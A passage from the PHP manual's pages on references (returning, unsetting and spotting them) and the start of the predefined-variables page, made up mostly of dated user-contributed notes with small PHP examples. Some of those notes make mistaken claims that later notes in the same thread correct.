     * Hopefully PHP will know that $this->data is still used
     * and will call destructor after data changes.
     * Ooops, it's not the case.
     *
     * @return unknown
     */
    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        return $o->data;
    }
?>

Here, destructor is called upon return() and the reference becomes a normal variable.

My solution is to store objects in a pool until the final exit(), but I don't like it. Any other ideas?

<?php
    protected static $instances = array();

    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        self::$instances[$file] = $o; // keep object from destructing too early
        return $o->data;
    }
?>
sandaimespaceman at gmail dot com 02-Nov-2008 08:52
The &b() function returns a reference of $a in the global scope.

<?php
$a = 0;
function &b()
{
    global $a;
    return $a;
}
$c = &b();
$c++;
echo
"
\$a: $a
\$b: $c
"
?>

It outputs:

$a: 1 $b: 1
sandaimespaceman at gmail dot com 19-Sep-2008 11:09
References can produce a chain like what jQuery used:
<?php
$a = new test();
echo ($a -> one() -> two() -> one() -> two() -> one() -> two() -> f);
?>
instead of
<?php
$a = new test();
$a -> one();
$a -> two();
$a  -> one();
$a  -> two();
$a  -> one();
$a  -> two();
echo $a -> f;
?>
They both return 29.
interframe at 126 dot com 30-Jul-2008 07:33
"Return by reference" cause private member can be accessed from outside of the class, as shown:

<?php
class foo {
    private $value = 42;

    public function &getValue() {
        return $this->value;
    }
    public function echoValue(){
        echo "in class the private \$value = $this->value <br />";
    }
}

$obj = new foo;
$myValue = &$obj->getValue();
$myValue = 33;    //the private foo::$value been changed
$obj->echoValue();

?>
Spad-XIII 31-Jan-2008 05:01
a little addition to the example of pixel at minikomp dot com here below
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1; // 1
    func();
    func();
    echo "var1:", $var1; // 3
    $var2 = func(); // assignment without the &
    echo "var2:", $var2; // 4
    func();
    func();
    echo "var1:", $var1; // 6
    echo "var2:", $var2; // still 4

?>
pixel at minikomp dot com 30-Dec-2007 04:21
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var =& func();
    echo $var; // 1
    func();
    func();
    func();
    func();
    echo $var; // 5

?>
stanlemon at mac dot com 28-Sep-2007 10:51
I haven't seen anyone note method chaining in PHP5.  When an object is returned by a method in PHP5 it is returned by default as a reference, and the new Zend Engine 2 allows you to chain method calls from those returned objects.  For example consider this code:

<?php

class Foo {

    protected $bar;

    public function __construct() {
        $this->bar = new Bar();

        print "Foo\n";
    }

    public function getBar() {
        return $this->bar;
    }
}

class Bar {

    public function __construct() {
        print "Bar\n";
    }

    public function helloWorld() {
        print "Hello World\n";
    }
}

function test() {
    return new Foo();
}

test()->getBar()->helloWorld();

?>

Notice how we called test() which was not on an object, but returned an instance of Foo, followed by a method on Foo, getBar() which returned an instance of Bar and finally called one of its methods helloWorld().  Those familiar with other interpretive languages (Java to name one) will recognize this functionality.  For whatever reason this change doesn't seem to be documented very well, so hopefully someone will find this helpful.
cesoid at yahoo dot com 23-Feb-2007 12:27
The note by zayfod below is very misleading. The following is not true:

"You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference."

As proof, you can change zayfod's second example slightly to show that $var does not, as he claims, become a reference to $some_var.

<?php

class some_class
{
    function    & func_b ()
    {
       $this->some_var = 2;
       return $this->some_var;
    }

    function    func_a (& $param)
    {
       # $param is 1 here
       $param = $this->func_b();
       # $param is 2 here
    }
}

$var = 1;

$object = new some_class();
$object->func_a($var);

print $var; // this prints two
$var = 5;
print $object->some_var;
// $object->some_var  is still 2, because $var is not bound to it
// (as the original post by zayfod claims) and therefore has no
// effect on it
?>

In actuality it is impossible to bind a variable passed by reference to a variable returned by reference, doing so only removes the link between the internal parameter variable and binds it to something new. This is why zayfod's first example shows $var having a value of 1 at the end. What is actually happening in zayfod's first example is the following:
1) $var is passed by reference into func_a, which binds $param to $var
2) func_b is evaluated, returning a reference to $some_var
3) $param is bounded to $some_var therefore losing it's binding to $var
4) func_a returns, with $var unchanged

In the second example step 1 and 2 are the same, but then this happens:
3) the value 2 is copied into $param, which still references $var, and therefore $var now also evaluates to 2
4) func_a returns, $var is 2, but is not bound to $some_var (and wouldn't be even in my example where some_var still exists afterward)

The mistake seems to be based on misuse of references. When you return a reference, it means that you want a variable that is tied to another, so that when you change one, the other one changes. In zayfod's example, returning by reference is pointless, because $some_var ceases to exist after the function is completed, it won't stay tied to anything.

There are two ways to change those functions so that in the end you have $var actually bound to $this->some_var:

1) Pass $param into func_b by reference and reference $this->some_var to func_b's parameter like so:

func_b (&$b_param)
{
      $this->some_var =& $b_param; // be careful not to flip this
      $this->some_var = 2;
}

2) change func_a to return the result of func_b by reference, and reference that to $var

And remember this simple rule: If a variable is already referenced to another variable and you reference it to a third (put it on the left side of =&) it loses its original reference. This is what happens to $param in zayfod's example. (Also don't forget that passing by reference actually references the internal parameter variable to the the passed variable.)
php at thunder-2000 dot com 02-Feb-2007 02:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
neozenkai at yahoo dot com 15-Jul-2006 01:38
While trying to create a function to return Database connection objects, it took me a while to get this right:

<?php

class TestClass
{
    var $thisVar = 0;

    function TestClass($value)
    {
        $this->thisVar = $value;
    }

    function &getTestClass($value)
    {
        static $classes;

        if (!isset($classes[$value]))
        {
            $classes[$value] = new TestClass($value);
        }

        return $classes[$value];
    }
}

echo "<pre>";

echo "Getting class1 with a value of 432\n";
$class1 =& TestClass::getTestClass(432);
echo "Value is: " . $class1->thisVar . "\n";

echo "Getting class2 with a value of 342\n";
$class2 =& TestClass::getTestClass(342);
echo "Value is: " . $class2->thisVar . "\n";

echo "Getting class3 with the same value of 432\n";
$class3 =& TestClass::getTestClass(432);
echo "Value is: " . $class3->thisVar . "\n";

echo "Changing the value of class1 to 3425, which should also change class3\n";
$class1->thisVar = 3425;

echo "Now checking value of class3: " . $class3->thisVar . "\n";

?>

Which outputs:

Getting class1 with a value of 432
Value is: 432
Getting class2 with a value of 342
Value is: 342
Getting class3 with the same value of 432
Value is: 432
Changing the value of class1 to 3425, which should also change class3
Now checking value of class3: 3425

Note that PHP syntax is different from C/C++ in that you must use the & operator in BOTH places, as stated by the manual. It took me a while to figure this out.
rwruck 27-Feb-2006 09:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
warhog at warhog dot net 13-Dec-2005 12:04
firstly a note on the post below: technically correct that -> "to get a reference to an exsisting class and it's properties" should be "...to an existing object..."

in PHP5 it's senseless to return objects by reference.. let's say you have, as in the post below, a class which should return a reference to its own instance (maybe it's been created using the singleton pattern..), than it's no problem to simply return that variable holding the instance.
In PHP5 variables holding objects are always references to a specific object, so when you return (=copy) a variable "having" an object you in fact return a reference to that object.

Because of that behaviour, which is very common for many programming languages, especially those, which are to be compiled (due to memory problems and so on), you have to use the clone-function which was introduced in PHP5.

Here an example to underline what i mean:

<?php

class sample_singleton
{
  protected static $instance = NULL;

  private function __construct()
  { }

  public static function create()
  { self::$instance = new sample_singleton(); }

  public static function getInstance()
  { return self::$instance; }

  public function yea()
  { echo "wuow"; }
}

sample_singleton::create();

// $singleton will be a reference to sample_singleton::$instance
$singleton = sample_singleton::getInstance();

$singleton->yea();

?>

Note some more (maybe) strange behaviour: although $instance is private you can have a reference pointing on it. Maybe that does not seem strange to you in any way, but maybe you wondered as i did : )

The code posted here was just a sample to illustrate my posting, for using the singleton pattern please look it up in the manual. I just used this cause it was the simplest example which went in my mind right know.
willem at designhulp dot nl 09-Oct-2005 04:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
    function get_instance(){
        // check if object exsists
        if(empty($_ENV['instances']['mysql'])){
            // no object yet, create an object
            $_ENV['instances']['mysql'] = new mysql;
        }
        // return reference to object
        $ref = &$_ENV['instances']['mysql'];
        return $ref;
    }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com 24-Dec-2004 01:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
    $var =& $GLOBALS["var"]; # the same as global $var;
    $var++;
    return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com 16-Mar-2004 07:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;   // shows 1
$b=2;
echo $a;   // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr 12-Feb-2004 09:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
    global $foo;
    $return = array();
    $return[] =& $foo;
    return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com 03-Dec-2003 09:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)
Passing by Reference
Unsetting References
References Explained


Unsetting References

When you unset the reference, you just break the binding between variable name and variable content. This does not mean that variable content will be destroyed. For example:

<?php
$a = 1;
$b =& $a;
unset($a);
?>
won't unset $b, just $a.

Again, it might be useful to think about this as analogous to the Unix unlink call.

User Contributed Notes

lowlight1974 at gmail dot com 19-Sep-2011 05:28
Unsetting array and objects does NOT work when trying to unset them.  You have to iterate through them in order to empty them out, akin to cleaning out memory in c/c++.  Here are some examples:

<?php
echo "<pre>";
$a->something = true;
echo "Running test(\$a)\n";
test($a);
//At this point $a still has the something=true values
var_dump($a);

echo "\nRunning nuke_me(\$a)\n";
nuke_me($a);
//At this point, the values in $a have been deleted.

var_dump($a);
echo "</pre>";

//Now, one would think that $a would be unset after running test().  But in this instance, $a is UNTOUCHED.

//Call $a by reference, name it something else for giggles
function test(&$trash)
{
   unset($trash);
}

function nuke_me($var)
{
   if (is_object($var) || is_array($var))
   {
      foreach ($var AS $key => $value)
      {
         if (isset($key))
         {
            if(is_object($var))
            {
               unset($var->$key);
            }

            if(is_array($var))
            {
               unset($var[$key]);
            }
         }
      }
   }
   else
   {
       unset($var);
   }
}
?>
ojars26 at NOSPAM dot inbox dot lv 03-May-2008 07:41
Simple look how PHP Reference works
<?php
/* Imagine this is memory map
 ______________________________
|pointer | value | variable              |
 -----------------------------------
|   1     |  NULL  |         ---           |
|   2     |  NULL  |         ---           |
|   3     |  NULL  |         ---           |
|   4     |  NULL  |         ---           |
|   5     |  NULL  |         ---           |
------------------------------------
Create some variables   */
$a=10;
$b=20;
$c=array ('one'=>array (1, 2, 3));
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  10     |       $a               |
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |      $c['one'][2]   |
------------------------------------
do  */
$a=&$c['one'][2];
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  NULL  |       ---              |  //value of  $a is destroyed and pointer is free
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |  $c['one'][2]  ,$a | // $a is now here
------------------------------------
do  */
$b=&$a;  // or  $b=&$c['one'][2]; result is same as both "$c['one'][2]" and "$a" is at same pointer.
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |  //value of  $b is destroyed and pointer is free
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |$c['one'][2]  ,$a , $b |  // $b is now here
---------------------------------------
next do */
unset($c['one'][2]);
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | // $c['one'][2]  is  destroyed not in memory, not in array
---------------------------------------
next do   */
$c['one'][2]=500;    //now it is in array
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  500    |      $c['one'][2]       |  //created it lands on any(next) free pointer in memory
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | //this pointer is in use
---------------------------------------
lets tray to return $c['one'][2] at old pointer an remove reference $a,$b.  */
$c['one'][2]=&$a;
unset($a);
unset($b);
/* look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $c['one'][2]       | //$c['one'][2] is returned, $a,$b is destroyed
--------------------------------------- ?>
I hope this helps.
sony-santos at bol dot com dot br 05-Feb-2007 03:56
<?php
//if you do:

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = $c;
echo $a; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = &$c;
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$b = null;
echo $a; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($b);
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = $c;
echo $b; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = &$c;
echo $b; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$a = null;
echo $b; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($a);
echo $b; // shows "hihaha"
?>

I tested each case individually on PHP 4.3.10.
martin 05-Jan-2007 04:25
note that in the previous example all variables (or the one data item all variables point to) is set to NULL, what is interpreted as !isset(), but the linkage between the variables still exists, so

<?php
echo (isset($a)?"set":"unset")."\n";
$a=1;
$b =& $a;
echo (isset($b)?"set":"unset")."\n";
$a=null;
echo (isset($b)?"set":"unset")."\n";
$a=1;
echo (isset($b)?"set":"unset")."\n";
?>

shows:
unset
set
unset
set

note that $b ist set again.

So if you want to brake the linkage, you have to use unset()
lazer_erazer 05-Sep-2006 04:02
Your idea about unsetting all referenced variables at once is right,
just a tiny note that you changed NULL with unset()...
again, unset affects only one name and NULL affects the data,
which is kept by all the three names...

<?php
$a = 1;
$b =& $a;
$b = NULL;
?>

This does also work!

<?php
$a = 1;
$b =& $a;
$c =& $b;
$b = NULL;
?>
donny at semeleer dot nl 13-Jul-2006 07:10
Here's an example of unsetting a reference without losing an ealier set reference

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
$foo = "I am Frank";       // Alter $foo and $bar because of the reference
echo $bar;                 // output: I am Frank
echo $foo;                 // output: I am Frank

$foobar = &$bar;           // create a new reference between $foobar and $bar
$foobar = "hello $foobar"; // alter $foobar and with that $bar and $foo
echo $foobar;              //output : hello I am Frank
unset($bar);               // unset $bar and destroy the reference
$bar = "dude!";            // assign $bar
/* even though the reference between $bar and $foo is destroyed, and also the
reference between $bar and $foobar is destroyed, there is still a reference
between $foo and $foobar. */
echo $foo;                 // output : hello I am Frank
echo $bar;                 // output : due!
?>
libi 24-Jan-2006 12:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.
clerca at inp-net dot eu dot org 26-Nov-2005 12:33
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

I haven't test this trick a lot, but well, it seems to work greatly.
Returning References
Spotting References
References Explained


Spotting References

Many syntax constructs in PHP are implemented via referencing mechanisms, so everything mentioned herein about reference binding also applies to these constructs. Some constructs, like passing and returning by reference, are mentioned above. Other constructs that use references are:

global References

When you declare a variable as global $var you are in fact creating reference to a global variable. That means, this is the same as:

<?php
$var =& $GLOBALS["var"];
?>

This also means that unsetting $var won't unset the global variable.

$this

In an object method, $this is always a reference to the caller object.

User Contributed Notes

CodeWorX.ch 02-Aug-2011 01:38
here is an unconventional (and not very fast) way of detecting references within arrays:

<?php

    function is_array_reference ($arr, $key) {
        $isRef = false;
        ob_start();
        var_dump($arr);
        if (strpos(preg_replace("/[ \n\r]*/i", "", preg_replace("/( ){4,}.*(\n\r)*/i", "", ob_get_contents())), "[" . $key . "]=>&") !== false)
            $isRef = true;
        ob_end_clean();
        return $isRef;
    }

?>
Abimael Rodrguez Coln 26-Apr-2011 11:55
This is one way to check if is a reference
<?php
$a = 1;
$b =& $a;
$c = 2;
$d = 3;
$e = array($a);
function is_reference($var){
    $val = $GLOBALS[$var];
    $tmpArray = array();
    /**
     * Add keys/values without reference
     */
    foreach($GLOBALS as $k => $v){
        if(!is_array($v)){
            $tmpArray[$k] = $v;
        }
    }

    /**
     * Change value of rest variables
     */
    foreach($GLOBALS as $k => $v){
        if($k != 'GLOBALS'
            && $k != '_POST'
            && $k != '_GET'
            && $k != '_COOKIE'
            && $k != '_FILES'
            && $k != $var
            && !is_array($v)
        ){
            usleep(1);
            $GLOBALS[$k] = md5(microtime());
        }
    }

    $bool = $val != $GLOBALS[$var];

    /**
     * Restore defaults values
     */
    foreach($tmpArray as $k => $v){
        $GLOBALS[$k] = $v;
    }

    return $bool;
}
var_dump(is_reference('a'));
var_dump(is_reference('b'));
var_dump(is_reference('c'));
var_dump(is_reference('d'));
?>

This won't check if reference is inside a array.
phpdoc-php at lorgenetwork dot com 31-Jan-2011 10:29
Here is a simple function which checks for reference, and works with objects by the test I did.

<?php

function is_reference_to(&$a, &$b)
{
    if($a !== $b) return false;

    $temp = $a;
    $checkval = ($a === null)? "" : null;
    $a = $checkval;

    if($b === $checkval)
    {
        $a = $temp;
        return true;
    }
    else
    {
        $a = $temp;
        return false;
    }

}

?>
BenBE at omorphia dot de 07-Jan-2007 11:37
Hi,

If you want to check if two variables are referencing each other (i.e. point to the same memory) you can use a function like this:

<?php

function same_type(&$var1, &$var2){
    return gettype($var1) === gettype($var2);
}

function is_ref(&$var1, &$var2) {
    //If a reference exists, the type IS the same
    if(!same_type($var1, $var2)) {
        return false;
    }

    $same = false;

    //We now only need to ask for var1 to be an array ;-)
    if(is_array($var1)) {
        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(array_key_exists($key, $var1));

        //The two variables differ in content ... They can't be the same
        if(array_key_exists($key, $var2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1[$key] =& $data;
        //There seems to be a modification ...
        if(array_key_exists($key, $var2)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1[$key]);
    } elseif(is_object($var1)) {
        //The same objects are required to have equal class names ;-)
        if(get_class($var1) !== get_class($var2)) {
            return false;
        }

        $obj1 = array_keys(get_object_vars($var1));
        $obj2 = array_keys(get_object_vars($var2));

        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(in_array($key, $obj1));

        //The two variables differ in content ... They can't be the same
        if(in_array($key, $obj2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1->$key =& $data;
        //There seems to be a modification ...
        if(isset($var2->$key)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1->$key);
    } elseif (is_resource($var1)) {
        if(get_resource_type($var1) !== get_resource_type($var2)) {
            return false;
        }

        return ((string) $var1) === ((string) $var2);
    } else {
        //Simple variables ...
        if($var1!==$var2) {
            //Data mismatch ... They can't be the same ...
            return false;
        }

        //To check for a reference of a variable with simple type
        //simply store its old value and check against modifications of the second variable ;-)

        do {
            $key = uniqid("is_ref_", true);
        } while($key === $var1);

        $tmp = $var1; //WE NEED A COPY HERE!!!
        $var1 = $key; //Set var1 to the value of $key (copy)
        $same = $var1 === $var2; //Check if $var2 was modified too ...
        $var1 = $tmp; //Undo our changes ...
    }

    return $same;
}

?>

Although this implementation is quite complete, it can't handle function references and some other minor stuff ATM.
This function is especially useful if you want to serialize a recursive array by hand.

The usage is something like:
<?php
$a = 5;
$b = 5;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b = $a;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b =& $a;
var_dump(is_ref($a, $b)); //true
echo "---\n";

$a = array();
var_dump(is_ref($a, $a)); //true

$a[] =& $a;
var_dump(is_ref($a, $a[0])); // true
echo "---\n";

$b = array(array());
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
echo "---\n";

$b = array();
$b[] = $b;
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
var_dump(is_ref($b[0], $b[0][0])); //true*
echo "---\n";

var_dump($a);
var_dump($b);

?>

* Please note the internal behaviour of PHP that seems to do the reference assignment BEFORE actually copying the variable!!! Thus you get an array containing a (different) recursive array for the last testcase, instead of an array containing an empty array as you could expect.

BenBE.
ludvig dot ericson at gmail dot com 27-Feb-2006 03:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
    var $monkeys = 0;

    function doFoobar() {
        $var = "this";
        $$var->monkeys++; // Will fail on this line.
    }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com 10-Feb-2006 09:02
One may check reference to any object by simple operator==( object). Example:

<?php
  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";
?>

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

<?php
class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
    if( $roObj instanceof A) {
      if( $this->roAObj == $roObj &&
          $roObj->isChanged()) {
        /* Object was not changed do not need to copy A part of B */
      } else {
        /* Copy A part of B */
        $this->roAObj = &$roObj;
      }
    }
  }

  private $roAObj;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 16-Dec-2005 08:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
    public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
            // the same instance and they have become equivalent
            // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
    public $d;
    function yy($x) {
      $this->d = $x;
    }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Aug-2005 09:30
Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
    $this->datum = $d;
    return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $b:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
    [datum] => 25
    [other] => 50
)
Unsetting References
Predefined Variables
References Explained


Predefined Variables

PHP provides a large number of predefined variables to all scripts. The variables represent everything from external variables to built-in environment variables, last error messages to last retrieved headers.

See also the FAQ titled "How does register_globals affect me?"

Table of Contents

  • Superglobals — Superglobals are built-in variables that are always available in all scopes
  • $GLOBALS — References all variables available in global scope
  • $_SERVER — Server and execution environment information
  • $_GET — HTTP GET variables
  • $_POST — HTTP POST variables
  • $_FILES — HTTP File Upload variables
  • $_REQUEST — HTTP Request variables
  • $_SESSION — Session variables
  • $_ENV — Environment variables
  • $_COOKIE — HTTP Cookies
  • $php_errormsg — The previous error message
  • $HTTP_RAW_POST_DATA — Raw POST data
  • $http_response_header — HTTP response headers
  • $argc — The number of arguments passed to script
  • $argv — Array of arguments passed to script

User Contributed Notes

walf 21-Nov-2011 09:09
For those missing DOCUMENT_ROOT on older IIS servers, try
<?php
if (!isset($_SERVER['DOCUMENT_ROOT']))
    $_SERVER['DOCUMENT_ROOT'] = substr($_SERVER['SCRIPT_FILENAME'], 0, -strlen($_SERVER['SCRIPT_NAME']));
?>
Don't use PHP_SELF as it can contain extra data after the php filename.
dusted at dusted dot dk 15-Mar-2011 02:32
I use HTTP_X_FORWARDED_FOR because my webserver is behind a reverse proxy.
This can be made secure:
Configure the reverse proxy to block this field, and override it correctly.
Configure the apache server to only accept incoming connections from the reverse proxy.
autofei at gmail dot com 17-Jun-2010 05:57
if you try to run php through command line, for example: php.exe c:\AppServ\www\cron_cache.php. You better avoid to use $_SERVER['DOCUMENT_ROOT'], because it will return nothing. Instead, you can use dirname(__FILE__). The reason to use command line running php is set it as Windows Scheduled Tasks. I did not test under Linux environment, but might be same.
simo DOT bot87 ATNOSPAM gmail DOT com 06-Apr-2009 04:45
<?php

// url maker function, remove duplicated vars

// exemple
// makeUrl('index.php', $_SERVER['QUERY_STRING'], 'name=value&name2=value2');

function makeUrl($path, $qs = false, $qsAdd = false)
{
    $var_array = array();
    $varAdd_array = array();
    $url = $path;

    if($qsAdd)
    {
        $varAdd = explode('&', $qsAdd);
        foreach($varAdd as $varOne)
        {
            $name_value = explode('=', $varOne);

            $varAdd_array[$name_value[0]] = $name_value[1];
        }
    }

    if($qs)
    {
        $var = explode('&', $qs);
